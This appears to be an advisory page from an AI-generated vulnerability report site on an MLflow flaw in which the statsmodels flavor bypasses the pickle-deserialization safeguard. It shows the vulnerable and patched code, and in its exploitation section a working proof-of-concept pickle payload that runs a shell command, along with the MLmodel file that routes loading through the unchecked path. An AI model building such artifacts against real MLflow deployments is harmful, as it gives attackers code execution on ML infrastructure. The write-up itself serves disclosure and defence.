CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GQVG-GMMX-X4HM

GHSA-GQVG-GMMX-X4HM: Security Control Bypass leading to Remote Code Execution in MLflow statsmodels Flavor

Alon Barad
Alon Barad
Software Engineer

Sep 1, 2026·5 min read·52 visits

Executive Summary (TL;DR)

MLflow fails to enforce pickle deserialization restrictions within its statsmodels loading flavor, allowing remote code execution via malicious model artifacts.

A security control bypass vulnerability in MLflow allows remote attackers to execute arbitrary code on a system running MLflow when loading a crafted model artifact. The security control MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False, which restricts loading unsafe pickle-based models, can be bypassed by specifying the mlflow.statsmodels model flavor in the model's configuration.

Vulnerability Overview

The open-source platform MLflow provides a suite of tools to manage the machine learning lifecycle, including tracking experiments, packaging code, and sharing models. To facilitate model deployment across diverse frameworks, MLflow supports multiple flavors that dictate how models are saved, serialized, and subsequently loaded back into memory.

To address risks associated with arbitrary object deserialization, MLflow exposes a configuration flag named MLFLOW_ALLOW_PICKLE_DESERIALIZATION. When set to False, this control is intended to block the loading of unsafe pickle-based serialization formats, which are known to allow arbitrary code execution during deserialization.

This vulnerability, tracked under GHSA-GQVG-GMMX-X4HM, represents a critical breakdown in this security boundary. Rather than implementing a centralized validation layer, MLflow relied on individual model flavors to enforce the safety flag, leading to an omission in the statsmodels module.

Root Cause Analysis

The root cause of GHSA-GQVG-GMMX-X4HM is located within the loading logic of the mlflow.statsmodels flavor. Specifically, the internal model loading routine fails to check the state of the MLFLOW_ALLOW_PICKLE_DESERIALIZATION environment variable before initiating deserialization.

When a model saved under the statsmodels flavor is loaded, the execution flow is passed directly to the statsmodels library. The wrapper function calls statsmodels.iolib.api.load_pickle, which directly deserializes the target file using Python's native, unsafe pickle module.

Because no verification occurs prior to this call, the environment variable configuration is completely bypassed. This enables an attacker to supply a serialized payload that executes system commands or loads malicious modules the moment the model file is parsed by the application.

Code Analysis

The vulnerable implementation in mlflow/statsmodels/init.py demonstrates the lack of any security checks prior to loading the pickled file. In versions prior to v3.15.0, the function load_pickle was executed immediately upon retrieving the model path.

# Vulnerable Implementation
def _load_model(path):
    import statsmodels.iolib.api as smio
 
    # Direct loading of untrusted pickle file without checking safety flags
    return smio.load_pickle(path)

The patch introduced in Pull Request #24686 implements explicit safety checks. The updated logic checks the value of the MLFLOW_ALLOW_PICKLE_DESERIALIZATION environment variable and raises an exception if the flag is disabled, unless executing within a trusted Databricks environment.

# Patched Implementation (mlflow/statsmodels/__init__.py)
def _load_model(path):
    # Verify whether pickle deserialization is permitted globally
    if (
        not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()
        and not is_in_databricks_runtime()
        and not is_in_databricks_model_serving_environment()
    ):
        raise MlflowException(
            "Deserializing model using pickle is disallowed, but this model is saved "
            "in pickle format. The workaround is to set environment variable "
            "'MLFLOW_ALLOW_PICKLE_DESERIALIZATION' to 'true'."
        )
    import statsmodels.iolib.api as smio
 
    return smio.load_pickle(path)

While the fix addresses the omission in the statsmodels flavor, the architecture remains decentralized. Any new or unpatched flavor that deserializes content using pickle without referencing this validation utility could introduce similar bypasses.

Exploitation

An exploitation attempt begins with the creation of a weaponized serialized object containing a custom reduce method. The attacker serializes this object using the standard Python pickle module, storing the payload inside a file named model.pkl.

import os
import pickle
 
class ExploitPayload:
    def __reduce__(self):
        # Executes a custom system command upon deserialization
        return (os.system, ("whoami > /tmp/rce_proof.txt",))
 
# Serialize the malicious object
with open("model.pkl", "wb") as f:
    f.write(pickle.dumps(ExploitPayload()))

To map the payload to the vulnerable loading pathway, the attacker creates a metadata file named MLmodel. This configuration registers mlflow.statsmodels as the loader module, forcing MLflow to dispatch loading operations to the unvalidated handler.

flavors:
  statsmodels:
    statsmodels_version: 0.14.0
    data: model.pkl
  pyfunc:
    loader_module: mlflow.statsmodels

Once the targeted application or automated server attempts to load this registered model, the statsmodels flavor executes the deserialization task, triggering immediate code execution with the permissions of the running process.

Impact Assessment

The successful exploitation of this vulnerability allows unauthenticated remote attackers to execute arbitrary system commands within the context of the user running MLflow. In typical machine learning infrastructure, this execution context may have access to highly sensitive datasets, training environments, and cloud provider credentials.

If the MLflow server or client is configured to deploy model serving endpoints automatically, the attack surface is exposed to any network actor capable of submitting model files or altering the model registry. This scenario increases the severity score to 9.8, indicating complete loss of confidentiality, integrity, and availability.

In environments where user interaction is required, such as a data scientist importing an untrusted model into a local development workspace, the severity remains high (8.8) due to the necessity of a specific user action to load the model.

Remediation & Mitigation

The primary and recommended mitigation is to upgrade the MLflow package to version v3.15.0 or later. This release introduces the required validation check in the statsmodels flavor, ensuring that the MLFLOW_ALLOW_PICKLE_DESERIALIZATION flag is respected globally across all official loaders.

In scenarios where immediate patching is not feasible, organizations should implement strict egress network filtering to prevent compromised workloads from communicating with external Command and Control (C2) servers. Additionally, input validation should be enforced to restrict model registration to trusted origins only.

Furthermore, security teams should continuously audit MLflow artifact storage for unusual MLmodel configurations. Specifically, any configuration specifying mlflow.statsmodels as the loader module should be flagged for analysis if that flavor is not standard in the development workflow.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

MLflow installations using the mlflow.statsmodels flavor prior to version v3.15.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
mlflow
MLflow
< 3.15.03.15.0
AttributeDetail
CWE IDCWE-502, CWE-284
Attack VectorNetwork / Local
CVSS v3.1 Score9.8
Exploit StatusProof-of-Concept
KEV StatusNot Listed
ImpactRemote Code Execution

MITRE ATT&CK Mapping

T1204.002User Execution: Malicious File
Execution
T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficient verification, allowing the execution of arbitrary code.

References & Sources

  • [1]GitHub Advisory Record
  • [2]MLflow Fix Commit
  • [3]MLflow Pull Request
  • [4]MLflow Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•9 minutes ago•GHSA-78G4-XQWV-Q3G8
7.5

GHSA-78G4-XQWV-Q3G8: Heap-Based Buffer Overflow in Pillow (libopenjp2)

A heap-based buffer overflow vulnerability in Pillow PyPI binary wheels (versions 11.1.0 to 12.x) allows remote code execution or application crash via crafted JPEG 2000 files processed by the bundled libopenjp2 library.

Alon Barad
Alon Barad
0 views•4 min read
•about 1 hour ago•CVE-2026-109618
9.8

CVE-2026-109618: Remote Code Execution in PHP Core via Out-of-Memory longjmp() Uninitialized Memory Access

CVE-2026-109618 (dubbed PHP2Shell) is a critical vulnerability in the PHP engine core resulting from improper out-of-memory exception handling via longjmp(). When request allocation fails mid-processing, non-local control flow bypasses cleanup procedures, leaving memory structures uninitialized or in a use-after-free state during request shutdown.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 1 hour ago•CVE-2026-109619
9.2

CVE-2026-109619: Remote Code Execution in PHP Core via Stale Global State Memory Corruption (PHP2Shell)

CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.

Alon Barad
Alon Barad
6 views•6 min read
•about 1 hour ago•CVE-2026-113721
4.5

CVE-2026-113721: Unsafe Link Resolution in virtualenv File Generation

In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.

Amit Schendel
Amit Schendel
3 views•5 min read
•9 days ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
31 views•5 min read
•10 days ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
19 views•6 min read